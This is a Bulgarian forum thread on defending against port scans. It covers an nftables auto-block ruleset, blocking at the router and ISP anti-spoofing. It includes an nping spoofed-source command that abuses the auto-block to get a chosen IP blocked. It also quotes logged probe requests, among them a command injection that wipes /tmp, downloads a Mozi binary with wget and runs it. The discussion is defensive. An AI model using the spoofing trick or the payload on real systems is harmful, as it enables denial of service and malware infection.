Как се защитавате срещу сканиране на портове ?
Използвам Google WiFi вързано към кабелния модем. Да се оправят тези от Гугъл. :)
Блокираш определени пакети и списъци с IP-та. Виж в нета.
Нищо не каза. Много лесно мога да блокирам разни загубеняци, които се опитват да ме сканират, но как да им попреча да използват моя firewall срещу мен ?
Обяснявам, като за дотнетаджии:
Имам нещоприблизително такова:
table inet filter {
set allowed_ports {
....
}
set auto_blocked{
....
}
chain input {
type filter hook input priority 0; policy drop
ip saddr @auto_blocked counter drop
# разни стандартни неща
ct state invalid counter drop
ct state established,related accept
iifname lo accept
tcp dport @allowed_ports accept
ip protocol tcp tcp dport != @allowed_ports add @auto_blocked {ip saddr timeout 1h} counter log drop
counter
}
}
Като някой се опита да се върже към забранен порт, nftables го праща в диварника за 1 час. Супер, работи. Обаче аз съм злопаметно и отмъстително типче, и като ме блокираш когато те сканирам, ще ти го изкарам през носа:
nping --tcp --source-ip <някакво ИП, което ти е важно> --dest-port <порт който е извън @allowed_ports> 1.2.3.4
И това ИП, което ти е важно бива блокирано :) Очевидно е, че мога да повторя упражнението с неприлично много адреси и да направя беля.
Та въпроса е - как се справяме с този проблем.
Баце, блокирах 5000 айпита и се отказах. За микротик има тема, там блокираш определени ТСП. На какво ги блокираш? Пауло Алто, Микротик, Аса на Сиско, дай малко специфика. От приложение не ги блокирай, няма смисъл.
Ще ти шерна ако искаш ИП, но няма смисъл. Аре след малко ще ти ги поша.
Аз направих вкъщи
Иначе на работа, имаме и събскрипшън за https://www.abuseipdb.com/ , за да блокираме IP-та за някой сървиси. Повечето ни сървиси са само на whitelist и/или ipsec и т.н., Имаме и paulo alto, и ASA. Вкъщи съм на евтини микротици за цени 400-500 лв.
Като блокираш, ако можеш го прави на preroute или там както ти е. Какво ползваш? Да блокираш на linux server-а с IP tables, не е толкова ефективно, защото все пак допускаш някакъв трафик през рутера, по- добре е да блокираш от самия рутер.
Ти тоя номер пробвал ли си го? От домашната ти мрежа ще стане ОК, ма доста се съмнявам иначе да имаш особен успех. Последно номера минаваше много отдавна като бях на един малък квартален доставчик, оттам спуфнати пакети се изкарваха без никакви грижи. Беше преди 10-15 години. После ги изкупиха мегалан и номерът минаваше само до бордер рутерите им, а при а1 тва май си се реже още там дето правят intervlan рутирането между крайните клиенти. Има си добри мрежарски практики там, подозирам все пак че тук-таме има мрежи откъдето се изкарват такива неща, ма е рядкост вече.
А иначе кво те бърка че ти сканирали отворените портове, ще кажеш че нещо много ти бъркат, голям праз че сканирали.
От мойта мрежа става, от друга не съм пробвал. Но някак си не ми харесва да разчитам, че ИСП то ще си е свършило работата.
Ем то е да го кажем глобална отговорност, все пак обаче да може да се намери откъде да се правят такива тъпотии. Но като цяло трудно. Обикновения тъпак дето е решил да ти прави сечено, вероятно няма да ти го направи. А ако някой твърде силно е решил, еми ти си го просиш с тва "ще те режа щот ми достъпваш забранени портове". Тея неща се решават без такива тъпотии, слагаш полиси дроп на инпута, слагаш кое може да се достъпва и толкова, ама да правиш списъци от неща дето некой да ги достъпи и го режеш, да правиш простотии да дебнеш портсканиране (портсканирането колкото и просто да звучи е цела наука и ако некой иска да го направи потайно и подмолно, много трудно ще го спреш). Абе нема нужда бе. Просиш си простотиите само.
Само портскан да, но някои от тях се опитват да рънват request-и да си пробват късмета, или откровено си brute force-ват. Аз лично банвам такива. Например:
GET /secure/ContactAdministrators!default.jspa HTTP/1.1
GET /weaver/bsh.servlet.BshServlet
GET /solr/ HTTP/1.1
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
GET /TP/public/index.php HTTP/1.1
GET /phpMyAdmin/scripts/setup.php HTTP/1.1
\x05\x04\x00\x01\x02\x80\x05\x01\x00\x03
\x04\x01\x00\x16\x7F\x00\x00\x01root\x00
CONNECT smtp.mail.ru:25 HTTP/1.1